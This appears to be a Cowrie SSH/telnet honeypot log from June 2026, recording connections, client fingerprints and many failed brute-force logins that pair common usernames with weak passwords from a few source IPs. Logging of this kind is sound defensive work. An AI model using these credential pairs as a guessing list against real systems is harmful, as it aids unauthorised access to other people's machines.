{"eventid":"cowrie.login.failed","username":"user","password":"live","message":"login attempt [user/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:15.218134Z","src_ip":"91.92.40.36","session":"2f04b50f0175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321","message":"login attempt [root/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:15.780982Z","src_ip":"91.92.40.36","session":"e99cb6c43f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:16.140424Z","src_ip":"181.188.176.242","session":"d0120c5b3288","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:17.187202Z","src_ip":"91.92.40.36","session":"07acc7e77c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:17.190447Z","src_ip":"91.92.40.36","session":"07acc7e77c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:18.963630Z","src_ip":"91.92.40.36","session":"1fcbf6d646c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.8","message":"Connection lost after 32.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:19.899587Z","src_ip":"91.92.40.36","session":"2f04b50f0175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.2","message":"Connection lost after 29.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:20.447745Z","src_ip":"91.92.40.36","session":"e99cb6c43f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58746,"dst_ip":"10.17.0.5","dst_port":22,"session":"d42b061e26dd","protocol":"ssh","message":"New connection: 91.92.40.36:58746 (10.17.0.5:22) [session: d42b061e26dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:20.488140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:23.271570Z","src_ip":"91.92.40.36","session":"d42b061e26dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:23.276083Z","src_ip":"91.92.40.36","session":"d42b061e26dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.3","message":"Connection lost after 28.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:23.540313Z","src_ip":"91.92.40.36","session":"1fcbf6d646c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:25.485797Z","src_ip":"91.92.40.36","session":"6e69552f7216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58766,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b736f03e90","protocol":"ssh","message":"New connection: 91.92.40.36:58766 (10.17.0.5:22) [session: 16b736f03e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:25.558262Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":58030,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1171c9cb612","protocol":"ssh","message":"New connection: 103.84.236.242:58030 (159.203.135.109:22) [session: d1171c9cb612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:26.276391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:26.314463Z","src_ip":"103.84.236.242","session":"d1171c9cb612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:26.551503Z","src_ip":"103.84.236.242","session":"d1171c9cb612","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:27.283718Z","src_ip":"91.92.40.36","session":"16b736f03e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:27.287247Z","src_ip":"91.92.40.36","session":"16b736f03e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial1","message":"login attempt [root/vicidial1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:27.486383Z","src_ip":"103.84.236.242","session":"d1171c9cb612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:28.730349Z","src_ip":"103.84.236.242","session":"d1171c9cb612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.3","message":"Connection lost after 23.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:30.373208Z","src_ip":"91.92.40.36","session":"6e69552f7216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"12345678","message":"login attempt [anna/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:31.010137Z","src_ip":"91.92.40.36","session":"07acc7e77c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21776,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a52e131baff","protocol":"ssh","message":"New connection: 91.92.40.36:21776 (10.17.0.5:22) [session: 3a52e131baff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:31.202473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:34.312868Z","src_ip":"91.92.40.36","session":"3a52e131baff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:34.316585Z","src_ip":"91.92.40.36","session":"3a52e131baff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:35.139997Z","src_ip":"91.92.40.36","session":"07acc7e77c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:36.875236Z","src_ip":"91.92.40.36","session":"d42b061e26dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"localhost","message":"login attempt [root/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:40.480790Z","src_ip":"91.92.40.36","session":"16b736f03e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":52450,"dst_ip":"10.17.0.5","dst_port":22,"session":"78851d8fc03e","protocol":"ssh","message":"New connection: 45.123.217.22:52450 (10.17.0.5:22) [session: 78851d8fc03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:40.581591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:40.592300Z","src_ip":"45.123.217.22","session":"78851d8fc03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:40.681319Z","src_ip":"91.92.40.36","session":"d42b061e26dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:40.823432Z","src_ip":"45.123.217.22","session":"78851d8fc03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":60134,"dst_ip":"159.203.135.109","dst_port":22,"session":"37bda57ea393","protocol":"ssh","message":"New connection: 102.213.34.99:60134 (159.203.135.109:22) [session: 37bda57ea393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:41.709460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:41.714716Z","src_ip":"102.213.34.99","session":"37bda57ea393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gsj123456","message":"login attempt [root/Gsj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:41.776841Z","src_ip":"45.123.217.22","session":"78851d8fc03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:41.887807Z","src_ip":"102.213.34.99","session":"37bda57ea393","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghostpass","message":"login attempt [ghost/ghostpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:42.600505Z","src_ip":"102.213.34.99","session":"37bda57ea393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:43.019510Z","src_ip":"45.123.217.22","session":"78851d8fc03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:43.279145Z","src_ip":"91.92.40.36","session":"16b736f03e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:43.793334Z","src_ip":"102.213.34.99","session":"37bda57ea393","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":34300,"dst_ip":"159.203.135.109","dst_port":23,"session":"57e71695a78d","protocol":"telnet","message":"New connection: 103.249.87.183:34300 (159.203.135.109:23) [session: 57e71695a78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:43.827405Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123456","message":"login attempt [ali/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:43.877340Z","src_ip":"91.92.40.36","session":"3a52e131baff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55066,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa057413373","protocol":"ssh","message":"New connection: 91.92.40.36:55066 (10.17.0.5:22) [session: 3aa057413373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:44.144140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:44.319474Z","src_ip":"91.92.40.36","session":"3aa057413373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:30:44.323138Z","src_ip":"91.92.40.36","session":"3aa057413373","protocol":"ssh"}
